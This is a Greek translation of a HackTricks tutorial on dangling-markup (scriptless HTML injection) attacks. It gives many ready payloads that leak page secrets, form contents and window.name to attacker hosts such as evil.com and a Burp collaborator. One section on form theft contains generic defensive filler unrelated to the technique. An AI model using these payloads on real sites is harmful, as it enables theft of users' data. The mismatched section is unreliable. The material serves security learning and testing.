Dangling Markup - HTML scriptless injection

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Σύνοψη

Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να εξάγετε πληροφορίες από έναν χρήστη όταν βρεθεί μια εισαγωγή HTML. Αυτό είναι πολύ χρήσιμο εάν δεν βρείτε κανέναν τρόπο να εκμεταλλευτείτε ένα XSS αλλά μπορείτε να εισάγετε ορισμένες ετικέτες HTML. Είναι επίσης χρήσιμο εάν κάποιο μυστικό αποθηκεύεται σε καθαρό κείμενο στο HTML και θέλετε να το εξαγάγετε από τον πελάτη, ή εάν θέλετε να παραπλανήσετε μια εκτέλεση σεναρίου.

Πολλές τεχνικές που σχολιάζονται εδώ μπορούν να χρησιμοποιηθούν για να παρακάμψουν ορισμένες Πολιτικές Ασφαλείας Περιεχομένου εξαγάγοντας πληροφορίες με αναπάντεχους τρόπους (ετικέτες html, CSS, http-meta tags, φόρμες, base...).

Κύριες Εφαρμογές

Κλοπή μυστικών κειμένου σε καθαρή μορφή

Εάν εισάγετε <img src='http://evil.com/log.cgi? όταν φορτώνεται η σελίδα, ο θύμα θα σας στείλει όλο τον κώδικα μεταξύ της εισαγόμενης ετικέτας img και της επόμενης εισαγωγικής μέσα στον κώδικα. Εάν ένα μυστικό βρίσκεται κάπου σε αυτό το κομμάτι, θα το κλέψετε (μπορείτε να κάνετε το ίδιο πράγμα χρησιμοποιώντας διπλά εισαγωγικά, δείτε ποιο μπορεί να είναι πιο ενδιαφέρον να χρησιμοποιήσετε).

Εάν η ετικέτα img απαγορεύεται (λόγω CSP για παράδειγμα) μπορείτε επίσης να χρησιμοποιήσετε <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Σημείωση ότι ο Chrome αποκλείει τις HTTP διευθύνσεις URL με "<" ή "\n" μέσα του, οπότε μπορείτε να δοκιμάσετε άλλα πρωτόκολλα όπως το "ftp".

Μπορείτε επίσης να καταχραστείτε το CSS @import (θα στείλει όλο τον κώδικα μέχρι να βρει ένα ";")

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Μπορείτε επίσης να χρησιμοποιήσετε <table:

<table background='//your-collaborator-id.burpcollaborator.net?'

Μπορείτε επίσης να εισάγετε έναν ετικέτα <base. Όλες οι πληροφορίες θα αποσταλούν μέχρι να κλείσει η παράθεση, αλλά απαιτείται κάποια αλληλεπίδραση από τον χρήστη (ο χρήστης πρέπει να κάνει κλικ σε κάποιο σύνδεσμο, επειδή η ετικέτα base θα έχει αλλάξει τον τομέα που δείχνει ο σύνδεσμος):

<base target='        <--- Injected
steal me'<b>test</b>

Κλοπή φορμών

Η κλοπή φορμών είναι μια τεχνική που χρησιμοποιείται για να αποκτηθούν πληροφορίες από φόρμες σε ιστοσελίδες. Αυτή η τεχνική εκμεταλλεύεται το γεγονός ότι οι φόρμες συχνά αποθηκεύουν πληροφορίες που έχουν εισαχθεί από τους χρήστες, όπως ονόματα χρηστών, διευθύνσεις email και άλλα προσωπικά δεδομένα.

Για να πραγματοποιηθεί η κλοπή φορμών, ο επιτιθέμενος εκμεταλλεύεται το γεγονός ότι οι φόρμες συχνά αποθηκεύονται σε αρχεία ή βάσεις δεδομένων. Αν οι αρχειοθετημένες φόρμες δεν προστατεύονται κατάλληλα, ο επιτιθέμενος μπορεί να αποκτήσει πρόσβαση σε αυτές και να αντλήσει τις πληροφορίες που περιέχουν.

Για να προστατευθείτε από την κλοπή φορμών, είναι σημαντικό να λαμβάνετε τα ακόλουθα μέτρα ασφαλείας:

  • Να εφαρμόζετε κατάλληλα μέτρα ασφαλείας για την προστασία των αρχειοθετημένων φορμών.

  • Να χρησιμοποιείτε ισχυρά συστήματα πιστοποίησης και αυθεντικοποίησης για την πρόσβαση στις αρχειοθετημένες φόρμες.

  • Να ενημερώνετε τακτικά το λογισμικό που χρησιμοποιείτε για την αποθήκευση των φορμών, προκειμένου να αντιμετωπίζονται τυχόν ευπάθειες ασφαλείας.

Ακολουθώντας αυτά τα μέτρα ασφαλείας, μπορείτε να μειώσετε τον κίνδυνο κλοπής φορμών και να προστατεύσετε τις πληροφορίες των χρηστών σας.

<base href='http://evil.com/'>

Στη συνέχεια, οι φόρμες που αποστέλλουν δεδομένα στη διαδρομή (όπως <form action='update_profile.php'>) θα αποστέλλουν τα δεδομένα στο κακόβουλο τομέα.

Κλοπή φορμών 2

Ορίστε έναν κεφαλίδα φόρμας: <form action='http://evil.com/log_steal'> αυτό θα αντικαταστήσει τον επόμενο κεφαλίδα φόρμας και όλα τα δεδομένα από τη φόρμα θα αποσταλούν στον επιτιθέμενο.

Κλοπή φορμών 3

Το κουμπί μπορεί να αλλάξει το URL όπου θα αποσταλούν οι πληροφορίες της φόρμας με το χαρακτηριστικό "formaction":

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Ένας επιτιθέμενος μπορεί να χρησιμοποιήσει αυτό για να κλέψει τις πληροφορίες.

Κλοπή μυστικών κειμένου 2

Χρησιμοποιώντας την προηγούμενη τεχνική που αναφέρθηκε για να κλέψετε φόρμες (εισαγωγή νέου κεφαλίδας φόρμας), μπορείτε στη συνέχεια να εισάγετε ένα νέο πεδίο εισαγωγής:

<input type='hidden' name='review_body' value="

και αυτό το πεδίο εισόδου θα περιέχει όλο το περιεχόμενο μεταξύ των διπλών εισαγωγικών και των επόμενων διπλών εισαγωγικών στο HTML. Αυτή η επίθεση συνδυάζει το "Κλέψιμο μυστικών κειμένου σε καθαρή μορφή" με το "Κλέψιμο φορμών2".

Μπορείτε να κάνετε το ίδιο πράγμα εισάγοντας ένα φόρμα και μια ετικέτα <option>. Όλα τα δεδομένα μέχρι να βρεθεί μια κλειστή </option> θα αποσταλούν:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Έγχυση παραμέτρου φόρμας

Μπορείτε να αλλάξετε τη διαδρομή μιας φόρμας και να εισάγετε νέες τιμές, έτσι ώστε να εκτελεστεί μια αναπάντεχη ενέργεια:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Κλοπή μυστικών κειμένου μέσω του noscript

Το <noscript></noscript> είναι ένα tag του οποίου το περιεχόμενο θα ερμηνευθεί αν ο περιηγητής δεν υποστηρίζει javascript (μπορείτε να ενεργοποιήσετε/απενεργοποιήσετε το Javascript στο Chrome στη διεύθυνση chrome://settings/content/javascript).

Ένας τρόπος να εξαγάγετε το περιεχόμενο της ιστοσελίδας από το σημείο της ενέργειας μέχρι το τέλος σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο θα είναι να εισάγετε το εξής:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Παράκαμψη του CSP με χρήση αλληλεπίδρασης χρήστη

Από αυτήν την έρευνα της portswiggers μπορείτε να μάθετε ότι ακόμα και από τα πιο περιορισμένα περιβάλλοντα CSP μπορείτε ακόμα να διαρρεύσετε δεδομένα με κάποια αλληλεπίδραση χρήστη. Σε αυτήν την περίπτωση θα χρησιμοποιήσουμε το payload:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Σημειώστε ότι θα ζητήσετε από τον θύμα να κάνει κλικ σε ένα σύνδεσμο που θα τον ανακατευθύνει σε ένα payload που ελέγχετε εσείς. Επίσης, σημειώστε ότι το target attribute μέσα στην ετικέτα base θα περιέχει HTML περιεχόμενο μέχρι το επόμενο μονό εισαγωγικό. Αυτό θα κάνει την τιμή του window.name όταν γίνει κλικ στον σύνδεσμο να είναι όλο αυτό το HTML περιεχόμενο. Επομένως, καθώς εσείς έχετε έλεγχο της σελίδας όπου ο θύμα έχει πρόσβαση κάνοντας κλικ στον σύνδεσμο, μπορείτε να έχετε πρόσβαση σε αυτό το window.name και να διαρρεύσετε αυτά τα δεδομένα:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Παραπλανητική ροή εντολών 1 - Επίθεση με χρήση ονομάτων χώρου HTML

Εισάγετε ένα νέο ετικέτα με ένα αναγνωριστικό (id) μέσα στο HTML που θα αντικαταστήσει την επόμενη και με μια τιμή που θα επηρεάσει τη ροή ενός script. Σε αυτό το παράδειγμα, επιλέγετε με ποιον θα κοινοποιηθούν οι πληροφορίες:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Παραπλανητική ροή εκτέλεσης 2 - Επίθεση στο χώρο ονομάτων του script

Δημιουργήστε μεταβλητές μέσα στον χώρο ονομάτων του javascript εισάγοντας ετικέτες HTML. Έπειτα, αυτή η μεταβλητή θα επηρεάσει τη ροή της εφαρμογής:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Κατάχρηση του JSONP

Εάν βρείτε μια διεπαφή JSONP, μπορείτε να καλέσετε μια αυθαίρετη συνάρτηση με αυθαίρετα δεδομένα:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Ή μπορείτε ακόμα να δοκιμάσετε να εκτελέσετε κάποιο JavaScript:

<script src='/search?q=a&call=alert(1)'></script>

Κατάχρηση Iframe

Ένα παιδικό έγγραφο έχει τη δυνατότητα να προβάλλει και να τροποποιεί την ιδιότητα location του γονικού του, ακόμα και σε περιπτώσεις διασυνοριακής πρόσβασης. Αυτό επιτρέπει την ενσωμάτωση ενός σεναρίου μέσα σε ένα iframe που μπορεί να ανακατευθύνει τον πελάτη σε μια αυθαίρετη σελίδα:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Αυτό μπορεί να αντιμετωπιστεί με κάτι όπως: sandbox=' allow-scripts allow-top-navigation'

Ένα iframe μπορεί επίσης να καταχραστεί για να διαρρεύσει ευαίσθητες πληροφορίες από μια διαφορετική σελίδα χρησιμοποιώντας το χαρακτηριστικό name του iframe. Αυτό συμβαίνει επειδή μπορείτε να δημιουργήσετε ένα iframe που εμφανίζει τον εαυτό του χρησιμοποιώντας την HTML ενσωμάτωση που καθιστά τις ευαίσθητες πληροφορίες ορατές μέσα στο χαρακτηριστικό name του iframe και στη συνέχεια να έχετε πρόσβαση σε αυτό το όνομα από το αρχικό iframe και να το διαρρεύσετε.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Για περισσότερες πληροφορίες δείτε https://portswigger.net/research/bypassing-csp-with-dangling-iframes

Κατάχρηση της ετικέτας <meta

Μπορείτε να χρησιμοποιήσετε την meta http-equiv για να εκτελέσετε πολλές ενέργειες όπως ορισμός ενός Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> ή ανακατεύθυνση (σε 5s σε αυτήν την περίπτωση): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Αυτό μπορεί να αποφευχθεί με ένα CSP που αφορά το http-equiv (Content-Security-Policy: default-src 'self';, ή Content-Security-Policy: http-equiv 'self';)

Νέα ετικέτα <portal HTML

Μπορείτε να βρείτε μια πολύ ενδιαφέρουσα έρευνα για ευπάθειες που μπορούν να εκμεταλλευτούν την ετικέτα <portal εδώ. Αυτή τη στιγμή που γράφονται αυτές οι πληροφορίες, πρέπει να ενεργοποιήσετε την ετικέτα portal στο Chrome στη διεύθυνση chrome://flags/#enable-portals αλλιώς δεν θα λειτουργήσει.

<portal src='https://attacker-server?

Διαρροές HTML

Όχι όλοι οι τρόποι για να διαρρεύσετε συνδεσιμότητα στο HTML θα είναι χρήσιμοι για το Dangling Markup, αλλά μερικές φορές μπορεί να βοηθήσουν. Ελέγξτε τους εδώ: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

Αυτό είναι ένα μείγμα ανάμεσα στο dangling markup και XS-Leaks. Από τη μία πλευρά, η ευπάθεια επιτρέπει την εισαγωγή HTML (αλλά όχι JS) σε μια σελίδα της ίδιας προέλευσης με αυτήν που θα επιτεθούμε. Από την άλλη πλευρά, δεν θα επιτεθούμε απευθείας στη σελίδα όπου μπορούμε να εισάγουμε HTML, αλλά σε μια άλλη σελίδα.

pageSS-Leaks

XS-Search/XS-Leaks

Το XS-Search είναι προσανατολισμένο στη διαρροή πληροφοριών διασυνοριακά καταχρώντας επιθέσεις πλευρικού καναλιού. Επομένως, είναι μια διαφορετική τεχνική από το Dangling Markup, ωστόσο, μερικές από τις τεχνικές καταχρώνται την εισαγωγή ετικετών HTML (με και χωρίς εκτέλεση JS), όπως η Ενσωμάτωση CSS ή η Καθυστερημένη Φόρτωση Εικόνων.

pageXS-Search/XS-Leaks

Λίστα Ανίχνευσης Brute-Force

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated